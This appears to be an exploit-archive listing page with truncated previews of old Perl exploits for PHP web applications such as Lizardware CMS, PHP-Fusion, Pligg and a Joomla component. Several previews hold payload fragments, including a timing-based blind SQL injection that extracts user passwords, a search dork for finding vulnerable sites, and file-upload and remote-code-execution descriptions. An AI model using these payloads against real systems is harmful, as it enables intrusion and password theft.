Cybershade CMS 0.2b (index.php) Remote File Inclusion Exploit

Exploit for unknown platform in category web applications ============================================================= Cybershade CMS 0.2b index.php Remote File Inclusion Exploit ============================================================= !/usr/bin/perl Cybershade CMS 0.2b index.php RFI...

Flexphplink Pro File Upload

!/usr/bin/perl HAPPY CHRISTMAS !! Flexphplink Pro http://www.hotscripts.com/jump.php?listingid=21062&jumptype=1 Bug: Arbitrary File Upload I coded this exploit just for fun ; Exploit coded by Osirys osirysatlivedotit http://osirys.org Greets: x0r, miclen, emgent, str0ke, Todd and AlpHaNiX Example...

YourPlace 1.0.2 Command Execution / Database Disclosure

START 0x01 Informations: Script : YourPlace 0.5 beta 1 Download : http://www.hotscripts.com/jump.php?listingid=80545&jumptype=1 Vulnerability : DB Disclosure / Arbitrary Data Saving RCE EXPLOIT / Arbitrary File Upload / PHPInfo Disclosure / User Change Account Author : Osirys Contact :...

DeluxeBB 1.2 - Blind SQL Injection

DeluxeBB 1.2 - Blind SQL Injection !/usr/bin/perl -------------------------------------------------- DeluxeBB 5; if @ARGV != 5 print "\n+----------------------------------------------------+\r", "\n| DeluxeBB = 1.2 Remote Blind SQL Injection Exploit |\r",...

DeluxeBB 1.2 - Blind SQL Injection

!/usr/bin/perl -------------------------------------------------- DeluxeBB 5; if @ARGV != 5 print "\n+----------------------------------------------------+\r", "\n| DeluxeBB = 1.2 Remote Blind SQL Injection Exploit |\r", "\n+----------------------------------------------------+\r", "\nby athos -...

Joomla Component 5starhotels (id) SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Joomla com5starhotels Sql injection Author : EcHoLL www.warezturk.org www.tahribat.com Greetz : Blacklabel TURK Godlike Nitrous ! ModuleName: com5starhotels ! ScriptName: Joomla ! GoogleDork: inurl:"com5starhotels" system"color FF0000";...

PHP-Fusion 7.0.2 - Blind SQL Injection

PHP-Fusion 7.0.2 - Blind SQL Injection !/usr/bin/perl -w ------------------------------------------------------- PHP-Fusion = 7.00.2 Remote Blind SQL Injection Exploit by athos - stakerathotmaildotit download on http://php-fusion.co.uk ------------------------------------------------------- Usage...

Joomla! Component 5starhotels - SQL Injection

Joomla! Component 5starhotels - SQL Injection !/usr/bin/perl -w Joomla com5starhotels Sql injection Author : EcHoLL www.warezturk.org www.tahribat.com Greetz : Blacklabel TURK Godlike Nitrous ! ModuleName: com5starhotels ! ScriptName: Joomla ! GoogleDork: inurl:"com5starhotels" system"color...

Joomla Component 5starhotels (id) SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================= Joomla Component 5starhotels id SQL Injection Exploit ======================================================= !/usr/bin/perl -w Joomla com5starhotels Sql injection Author : EcHoLL...

PHP-Fusion 7.0.2 - Blind SQL Injection

!/usr/bin/perl -w ------------------------------------------------------- PHP-Fusion = 7.00.2 Remote Blind SQL Injection Exploit by athos - stakerathotmaildotit download on http://php-fusion.co.uk ------------------------------------------------------- Usage: perl xpl.pl host/path prefix userid...

Pligg 9.9.5b - Arbitrary File Upload SQL Injection

Pligg 9.9.5b - Arbitrary File Upload SQL Injection !/usr/bin/perl =about Pligg 9.9.5 Beta Perl exploit AUTHOR discovered & written by Ams ax330d doggy gmail dot com VULN. DESCRIPTION: Vulnerability hides in 'evb/checkurl.php' unfiltered $GET'url' parameter. Actually, it has filtration. Filtration...

yourplace 1.0.2 - Multiple Vulnerabilities Remote Code Execution

yourplace 1.0.2 - Multiple Vulnerabilities Remote Code Execution START 0x01 Informations: Script : YourPlace 0.5 beta 1 Download : http://www.hotscripts.com/jump.php?listingid=80545&jumptype=1 Vulnerability : DB Disclosure / Arbitrary Data Saving RCE EXPLOIT / Arbitrary File Upload / PHPInfo...

RSS Simple News - SQL Injection

RSS Simple News - SQL Injection !/usr/bin/perl Coded by Piker pikerdotther00tatgmaildotcom D.O.M Team piker,ka0x,an0de,xarnuz 2008 Security Researchers RSS Simple News Remote SQL Injection Exploit http://sourceforge.net/projects/rss-simple-news/ This exploit tries to read an arbitrary file. It...

Pligg 9.9.5b (check_url.php url) Upload Shell/SQL Injection Exploit

No description provided by source. !/usr/bin/perl =about Pligg 9.9.5 Beta Perl exploit AUTHOR discovered & written by Ams ax330d doggy gmail dot com VULN. DESCRIPTION: Vulnerability hides in 'evb/checkurl.php' unfiltered $GET'url' parameter. Actually, it has filtration. Filtration strips tags and...

Lizardware CMS 0.6.0 Blind SQL Injection

!/usr/bin/perl -w Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,". "benchmark230000000,char0,". "0 from $ptableusers where userid=$userid"; return $send; for1..3...

YourPlace <= 1.0.2 Multiple Remote Vulnerabilities + RCE Exploit

No description provided by source. START 0x01 Informations: Script : YourPlace 0.5 beta 1 Download : http://www.hotscripts.com/jump.php?listingid=80545&jumptype=1 Vulnerability : DB Disclosure / Arbitrary Data Saving RCE EXPLOIT / Arbitrary File Upload / PHPInfo Disclosure / User Change Account...

RSS Simple News - SQL Injection

!/usr/bin/perl Coded by Piker pikerdotther00tatgmaildotcom D.O.M Team piker,ka0x,an0de,xarnuz 2008 Security Researchers RSS Simple News Remote SQL Injection Exploit http://sourceforge.net/projects/rss-simple-news/ This exploit tries to read an arbitrary file. It needs magicquotesgpc=off...

Pligg 9.9.5b - Arbitrary File Upload / SQL Injection

!/usr/bin/perl =about Pligg 9.9.5 Beta Perl exploit AUTHOR discovered & written by Ams ax330d doggy gmail dot com VULN. DESCRIPTION: Vulnerability hides in 'evb/checkurl.php' unfiltered $GET'url' parameter. Actually, it has filtration. Filtration strips tags and converts html special chars , but ...

Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Lizardware CMS = 0.6.0 Blind SQL Injection Exploit by athos - stakerathotmaildotit http://sourceforge.net/projects/lizardwarecms/ use strict; use LWP::UserAgent; my $stop,$start,$hash; my $domain = shift; my $ptable = shift; my $userid = shift ...

Lizardware CMS 0.6.0 - Blind SQL Injection

Lizardware CMS 0.6.0 - Blind SQL Injection !/usr/bin/perl -w Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,". "benchmark230000000,char0,". "0 from $ptableusers...